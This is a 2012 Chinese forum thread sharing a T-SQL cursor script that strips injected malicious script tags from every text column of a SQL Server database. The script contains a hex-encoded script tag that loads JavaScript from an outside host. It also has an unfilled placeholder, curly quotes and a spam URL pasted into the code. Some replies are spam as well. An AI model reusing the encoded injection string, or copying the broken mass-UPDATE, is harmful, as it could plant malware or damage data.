查看: 2234|回复: 25

数据库挂马修复语句

[复制链接]
发表于 2012-12-3 05:53:53 | 显示全部楼层 |阅读模式
declare @t varchar(255),@c varchar(255)

dEcLaRe table_cursor cursor
for select a.name,b.name from sysobjects a,syscolumns b where a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR

b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(['+@c+'], 替换挂马代码转十六进制,””)’);
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
close tAbLe_cursoR
deallocate tAbLe_cursoR
dEcLaRe @t vArChAr(255),@c vArChAr(255)
dEcLaRe tAbLe_cursoR cUrSoR
FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR

b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167)
oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
while(@@fEtCh_status=0)
bEgIn
exec(‘UpDaTe ['+@t+'] sEt ['+@c+']=replace(convert(varchar,['+@c+']),cAsT

(0x3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A73223E3C2F736372

6970743E3C212D2D aS vArChAr(67)),””)’)
fEtCh next FrOm tAbLe_cursoR iNtO @t,@c
eNd
//Www.ak69v.Com
cLoSe tAbLe_cursoR
dEAlLoCaTe tAbLe_cursoR

发表于 2012-12-6 07:26:38 | 显示全部楼层
应该加分  
发表于 2012-12-7 09:55:03 | 显示全部楼层
一个有信念者所开发出的力量,大于99个只有兴趣者。  
发表于 2012-12-11 13:31:48 | 显示全部楼层
天泽在线http://www.ak69v.com,升官发财  
发表于 2012-12-12 04:49:48 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-12-15 06:51:07 | 显示全部楼层
我的啦嘿嘿  
发表于 2014-10-13 20:44:31 | 显示全部楼层
支持你一下下。。  
发表于 2014-12-26 13:46:12 | 显示全部楼层
嘿嘿......哈哈......呵呵.....哟~呼  
发表于 2015-1-26 18:28:35 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2015-2-28 20:06:03 | 显示全部楼层
谢谢分享了!  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则